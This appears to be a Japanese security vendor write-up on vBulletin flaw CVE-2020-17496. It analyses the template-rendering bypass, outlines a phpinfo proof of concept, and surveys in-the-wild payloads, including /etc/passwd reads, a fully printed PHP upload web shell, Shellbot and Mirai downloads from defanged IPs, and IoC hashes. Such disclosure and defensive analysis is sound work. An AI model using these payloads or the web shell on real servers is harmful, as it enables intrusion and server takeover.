This post is also available in: English (英語)
概要
2019年9月に、人気フォーラムソフトウェアvBulletinに見つかったリモートコード実行(RCE)脆弱性CVE-2019-16759が公表されました。当時のUnit 42のリサーチャーは当該vBulletin脆弱性に関するブログ記事を公開し、脆弱性の根本的要因と実際にインターネット上で見つかったエクスプロイトについて分析しました。この脆弱性が悪用されると、バージョン5.0.0から5.5.4までのvBulletinをを実行しているサーバーで攻撃者に特権アクセスと制御を取得され、組織が自社サイトから締め出されてしまう可能性があります。
最近、Unit 42のリサーチャーは、vBulletinの事前認証リモートコード実行(RCE)脆弱性CVE-2020-17496を利用したエクスプロイトを発見しました。当該のエクスプロイトは、以前の脆弱性CVE-2019-16759の修正を回避するもので、攻撃者が指定されたテンプレート名と悪意のあるPHPコードを使い、巧妙に細工したHTTPリクエストを送信することで、リモートからコードを実行できる可能性があります。著名企業・組織のフォーラムを含め10万件以上のサイトがvBulletinベースで構築されていることから、ただちにパッチを適用することが不可欠です。
本稿では、同脆弱性のパッチ回避に関する詳細、脆弱性を実証する概念実証コード(PoC)、実際に確認されている攻撃に関する情報を提供します。
パロアルトネットワークス製品をご利用中のお客様は、脅威防御のシグネチャと関連C2トラフィックをブロックするURLフィルタリングの各サービス、製品により保護されています。
脆弱性の根本原因分析(CVE-2020-17496)
テンプレート レンダリングは、XMLテンプレートをPHPコードに変換して実行できるようにするvBulletinの機能で、バージョン5.0以降のvBulletinは、このテンプレートレンダリングとしてAjaxリクエストを受け入れるようになりました。レンダリングを行うのはstaticRenderAjaxという関数で、図1に示すように、staticRenderAjax関数のパラメータの値は$_REQUESTS、$_GET、$_POSTとなっています。したがって、これらのパラメータから取得されたテンプレート名と、関連の設定内容はユーザーの制御下にあります。これがリモートコード実行脆弱性CVE-2019-16759につながります。
ここで攻撃者がテンプレート名widget_phpを含むAjaxリクエストに細工をし、 widgetConfig['code'] パラメータ内に悪意のあるコードを配置した場合、レンダリング エンジンはそのwidget_php XMLテンプレートをPHPコードの文字列に変換します(図2参照)。その後変換されたコードはeval関数(図3にハイライト表示)を介して実行されます。生成されたコードには vB5_Template_Runtime::evalPhp(" . $widgetConfig['code'] . ") という行があることから、これでリクエスト内の悪意のあるコードが実行されてしまうことになります。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 |
$final_rendered = " . "; if (empty($widgetConfig) AND !empty($widgetinstanceid)) { $final_rendered .= ' ' . "; $widgetConfig = vB5_Template_Runtime::parseData('widget', 'fetchConfig', $widgetinstanceid); $final_rendered .= " . ' '; } else { $final_rendered .= "; } $final_rendered .= " . ' ' . "; if (!empty($widgetConfig)) { $final_rendered .= ' ' . "; $widgetid = $widgetConfig['widgetid']; $final_rendered .= " . ' ' . "; $widgetinstanceid = $widgetConfig['widgetinstanceid']; $final_rendered .= " . ' '; } else { $final_rendered .= "; } $final_rendered .= " . ' ' . vB5_Template_Runtime::includeTemplate('module_title',array('widgetConfig' => $widgetConfig, 'show_title_divider' => 'l', 'can_use_sitebuilder' => $user['can_use_sitebuilder'])) . ' ' . "; if (!empty($widgetConfig['code']) AND !vB::getDatastore()->getOption('disable_php_rendering')) { $final_rendered .= ' ' . " . ' ' . vB5_Template_Runtime::evalPhp(" . $widgetConfig['code'] . ") . ' '; } else { $final_rendered .= ' ' . "; if ($user['can_use_sitebuilder']) { $final_rendered .= ' ' . vB5_Template_Runtime::parsePhrase("click_edit_to_config_module") . ' '; } else { $final_rendered .= "; } $final_rendered .= " . ' '; } $final_rendered .= " . ' '; |
バージョン5.5.5以降、CVE-2019-16759の修正がcallRender()関数に導入されました(図4参照)。この修正ではテンプレート名をチェックするのに禁止リストのしくみを利用していて、名前がwidget_phpであればXMLエンジンはリクエストされたテンプレートをレンダリングしません。
これとは別の修正もあり、そちらの修正ではevalPhp関数が現在のテンプレート名をチェックするようにしています。こちらの修正で、widget_phpがPHPコード実行に使用できる唯一のテンプレートになりました(図5参照)。
先のwidget_phpテンプレートへのユーザーアクセス制限にくわえ、この修正では同テンプレートをPHPコード実行に利用できる唯一のテンプレートにしています。ところが、直近で見つかった修正回避方法では、別のテンプレートを使用すればこのwidget_phpテンプレートをロードできてしまうことがわかりました。その別のテンプレートというのがwidget_tabbedcontainer_tab_panelです。
上の図6に示すテンプレートwidget_tabbedcontainer_tab_panelを使えば、複数の子テンプレートをレンダリングすることができます。テンプレート自体をレンダリングしても直接リモートコード実行につながるわけではありませんが、このテンプレートをレンダリングすると、子テンプレートのレンダリングがトリガーされます。
以下のコードはXML内のwidget_tabbedcontainer_tab_panelテンプレートからレンダリングされたPHPコードです。コードは生成後に実行されます。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$final_rendered = " . "; $panel_id = " . vB5_Template_Runtime::vBVar($id_prefix).vB5_Template_Runtime::vBVar($tab_num) . "; $final_rendered .= " . " . " . ' ' . "; if (isset($subWidgets) AND (is_array($subWidgets) OR $subWidgets instanceof ArrayAccess)) { foreach ($subWidgets AS $subWidget) { $final_rendered .= ' ' . vB5_Template_Runtime::includeTemplate($subWidget['template'],array('widgetConfig' => $subWidget['config'], 'widgetinstanceid' => $subWidget['widgetinstanceid'], 'widgettitle' => $subWidget['title'], 'tabbedContainerSubModules' => $subWidget['tabbedContainerSubModules'], 'product' => $subWidget['product'])) . ' '; } }$final_rendered .= " . ''; |
このPHPコードでは、レンダリングエンジンが$subWidgetsから「subWidget」とその設定をトラバースして新しいテンプレートオブジェクトを作成します。その後、レンダリングによりPHPコードが生成されます。この例では文字列widget_phpがsubWidget変数に割り当てられ、悪意のあるコードが $widgetConfig['code'] に配置されていて、これがCVE-2019-16759と同様に実行されます。
PoC(概念実証コード)
以上の分析から、実際に機能することを証明するエクスプロイト コードを作成できます。callRender関数の呼び出しには、POST HTTPメソッドが必要です(図7参照)。
図8はphpinfo()コードの実行結果を含む侵害されたページを示しています(リクエスト情報あり)。図9と図10もそれとはまた別の細工済みリクエストを実行した場合に同じ効果が得られることを示しています。
URLでは、子テンプレート名widget_phpと悪意のあるコード phpinfo();exit(); は配列subWidgetの最初の要素として存在しています。バックエンドがこのURLを処理すると悪意のあるコードが実行されます。
実際に確認されているCVE-2020-17496のエクスプロイト
私たちは2020年8月10日にCVE-2020-17496をエクスプロイトする最初のインシデントを検出しました。その後も異なるIPアドレスからのエクスプロイトの試みが進行中であることが確認されています。ただしこれらはそれぞれ別個の攻撃であって特定攻撃者による協調的取り組みではない点にご注意ください。
スキャン活動
私たちがキャプチャした悪意のあるトラフィックからは、スキャン活動を行うソースが複数あることがわかっています。これらのスキャンは、脆弱なサイトを見つけて関連情報を収集しようとしており、サイバー攻撃の初期段階にあたります。そのトラフィックを図11から図15に示します。これらのペイロードは、システムコマンドのechoとidを実行しようとします。これらコマンドの結果から攻撃者はターゲットが脆弱かどうかを知ることができます。
機微なファイルの読み取り
一部の攻撃者は、この脆弱性を悪用してサーバー側のファイルを読み取ろうとします。このペイロードにはPHP関数shell_exec()が含まれていて、これが任意のシステムコマンドを実行します。システムコマンド cat ../../../../../../../../../../etc/passwd は/etc/passwdの内容を読み取ります。このトラフィックを図15に示します。攻撃が成功すると、ターゲットからの機密情報が漏えいする可能性があります。
Webシェルの作成
一部の攻撃者はこの脆弱性を悪用してWebシェルをインストールします。
図16は、PHP関数file_put_content()を使い、webホストディレクトリ上のファイル、conf.php内に、エクスプロイトがPHPベースのWebシェルを作成しようとしている様子を示しています。攻撃が成功すると、攻撃者はパラメータxを指定したHTTP POSTリクエストを介してコマンドをWebシェルに送信し、サーバーサイドでコマンドを実行することができます。
図17は、エクスプロイトが被害者のサーバーにPHPスクリプトをダウンロードしようとしている様子を示しています。webシェルコードは以下のとおりで、このコードによりアップロード用ページが提供されます。これを使って攻撃者はファイルをアップロードし、サイバー攻撃のフォローアップ処理を実行できます。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
<?php error_reporting(0); echo "Jasmine<br>"; echo"<font color=#ff0000>".php_uname().""; print "\n";$disable_functions = @ini_get("disable_functions"); echo "<br>DisablePHP=".$disable_functions; print "\n"; echo"<br><form method=post enctype=multipart/form-data>"; echo"<input type=file name=f><input name=k type=submit id=k value=upload><br>"; if($_POST["k"]==upload){ if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){ echo"<b>".$_FILES["f"]["name"]; }else{ echo"<b>Gagal upload cok"; } } ?> |
図18は、エクスプロイトがbase64でエンコードされたPHPコードをWebホストディレクトリのファイルに書き込もうとしている様子を示しています。この新しいページが任意のファイルをアップロードする入口となり、攻撃者がサイバー攻撃のフォローアップ処理を実行できるようにします。
Shellbotのダウンロード
一部の攻撃者はこの脆弱性を利用してPHP関数shell_exec()でシステムコマンドwgetを実行し、 http://178[.]170[.]117[.]50/bot1 というアドレスからPerlベースのスクリプト マルウェア(Shellbot)をダウンロードして実行しています。そのペイロードを図19に示します。
スクリプトが実行されると、66[.]7[.]149[.]161:6667というアドレスでIRCベースのコマンド&コントロール(C2)サーバーに接続し、IRCチャネル#afkに参加して、サーバーからのPINGに応答し続けます(図20のトラフィックを参照)。チャットチャネルからコマンドを受信すると、ポートスキャンの関連コードの実行、ファイルのダウンロード、システムコマンドの実行、フラッド攻撃の開始、攻撃者へのシェルの提供などを行います。
Soraのダウンロード
あるエクスプロイトは、攻撃者のサーバーからMiraiの亜種(Sora)をダウンロードすることが判明しています。ただしこのペイロードは間違ったHTTPメソッドを使用しているため無効です。
これらのサンプルを分析した結果、これらはさまざまなエクスプロイトを組み合わせて拡散していることがわかりました。たとえばCVE-2020-5902(この場合のペイロードはbashコマンドを使用しているので無効。このエクスプロイトは挿入されるコマンドが特定CLI互換コマンドでなければならない)、CVE-2020-1937、 CVE-2020-10173、 CVE-2020-10987、Netgear R700のリモートコード実行脆弱性、Netlink GPONルーター1.0.11のリモートコード実行脆弱性、そして本稿で説明した脆弱性CVE-2020-17496などです。
結論
弊社の脅威プラットフォームでは、vBulletinの事前認証リモートコード実行脆弱性CVE-2020-17496に対するさまざまなエクスプロイトの試みが検出されています。vBulletinはマーケットで長年実行され、利用者数の多いフォーラムソフトウェアパッケージであることから、攻撃者にとって貴重なターゲットと認識されています。
vBulletinは、2020年8月10日のパッチで本脆弱性を修正済みです。最新バージョンにあげることでリスクは軽減されますので、ぜひ本パッチを適用することを強くお勧めします。
パロアルトネットワークス製品をご利用中のお客様は、次の各サービス、製品によってこの脅威から保護されています。
- 脅威防御シグネチャ 59133 および 80671
- URL フィルタリングはShellbotに関連するC2トラフィックをブロックします。
追加資料
IoC
Shellbotのハッシュ値
- 88DDD8A1B77477AAFFD1BB163B9770D72A77BF29BFCA226E79C28D15BEF983ED
Mirai 亜種 (Sora) のハッシュ値
- 03bfec4e039805091fe30fa978d5ec7f28431bb0fca4b137e075257b3e1c0dd4
- b4cb04709f613b5363514e75984084ef1d3eaba7c50638b2a5a284680831b992
- 94f02ea10b4546da71bd46916f0fe260b40c8ed4deccf0588687e62ca3819ad7
- bd72be4f7d64795b902f352e47b1654eaee6b5a71cddfaf2c245dba1b2d602eb
- 77b4f7f0d66a0333d756116eaae567a8540392f558c49d507bf6da10bd047fe3
- 051baaabf205c7c0f5fd455ac5775447f9f3df0cc9bc5f66f6d386f368520581
- fd63b9c7e9dce51348d9600f67139ea8959fdbbca84d505b5e9317bbdca74016
- 8b5810e07cf21ebb1c2ff23c13ce88022c1dd5bc2df32f4d7e5480b4ddb82de2
- ded23c3f5f2950257d8cfb215c40d5f54b28fde23c02f61ce1eb746843f43397
- 80fb66c6b1191954c31734355a236b7342dc3fd074ead47f9c1ed465561c6e8c
- f30bb52c0e32dfe524fc0dfda1724a1ffb88647c39c33a66dfd66109fecceec7
- 1900e09983acf7ddc658b860be7875a527bc914cbffcf0aaff0b4182ecef047b
- fa7575bd0cd2a83995ea34d8d008eb07c2062a843e5e155e2e0d8b35a0cf7901
- 68132010d9a543a6a2a9ea61e771cf2c041cea259cc76affdfe663e20c130a45
- ab671fc0c68ed1c249c2bb52b28ae3d70df8bd1614d86f6d6a3f4c21d7841d72
- 4ff21e69b11566336f4fd56ac2829cdcf215182e8ff807f8e744c0a2b08f726f
- a7373fa18b367edbcd4462345a5da087821e34734bdf05d1c4060a7694868c5e
- dec56b06e03665d2c656b530d3b6f90ca0ec2925bec4559d8a2cec5da3a7700b
- c379139347470254f19041f05e19f5454750e052f04f6d377ec8df19ce959519
- fed0f0d3e9d990f8a83b86d29e586d46e7cac54efb0eae2f07112d61afb9b885
- 84448ee487010d6fed918febe230b71a8ec1266e300f85933014db2566645857
- 994889422b24a5b4759eda30265f1b933a458e15927b4f7949d4a3ba79eb43ca
- 39b6d72101adae2b71815328599f8e67ee27955849dfb3825c5b2731d504696b
- 0747988a77c89c1267a882b663fbd4168e25aed239fb1553e65bb4ac74ecda67
- 99d06d1c82af244b1533c1173ca10da7f29bfbf753073f20f5dc7a0016152a4c
- 372ab5c1c23d198b594353239a96d6cf620cc56588f5fdf5dfb32919dd019020
- ef2a6b37568e14dacd5d8894ce2e4bbc593ffd58e197827a052d2c2f0a756949
- 1cf9ac9150d59de25ca5ac1f855fadf1b03f13b4e9ced63a12acef9c8292a648
- cf172b4629e321e4c78a1d0717130bbb693392712a86d3d85d035bae1f377dbd
- 1a0293d4863ccef36e138e4f6c65ad013a403db0ffc69ebaf04b43b61b4ba798
- 2a14b9b01ec78a332be40339a782a2cf2bf9a237eee9cc5fcd40fa3385b1d4fb
- f56150ff764328ee59eeaafe5e2d63574b475a69386c9ac4978006070807edc9
- 9572a532c08f81d7957ffd4639f95c34a2085f119fa426d8ea911af72bfd0b4a
- 113ad91a1aab3abcd704fe8670fbc043f049586462a4c58dabdd44c14519ea66
- f9d7d9b11c60bd52625e7d9a33516c2bac96ac542a22696d0da3a9c536dae11b
- 6f01ef6670ecd79f9b322dd8521bc13a73037e7f84fa9aad35d11d964d8f9e60
- 2960748648bc2cd1b3db5e1e1ce9931a6588d65ae91c6d09e6b8bf2d78b00263
IPアドレス
- 66[.]7[.]149[.]161
- 178[.]170[.]117[.]50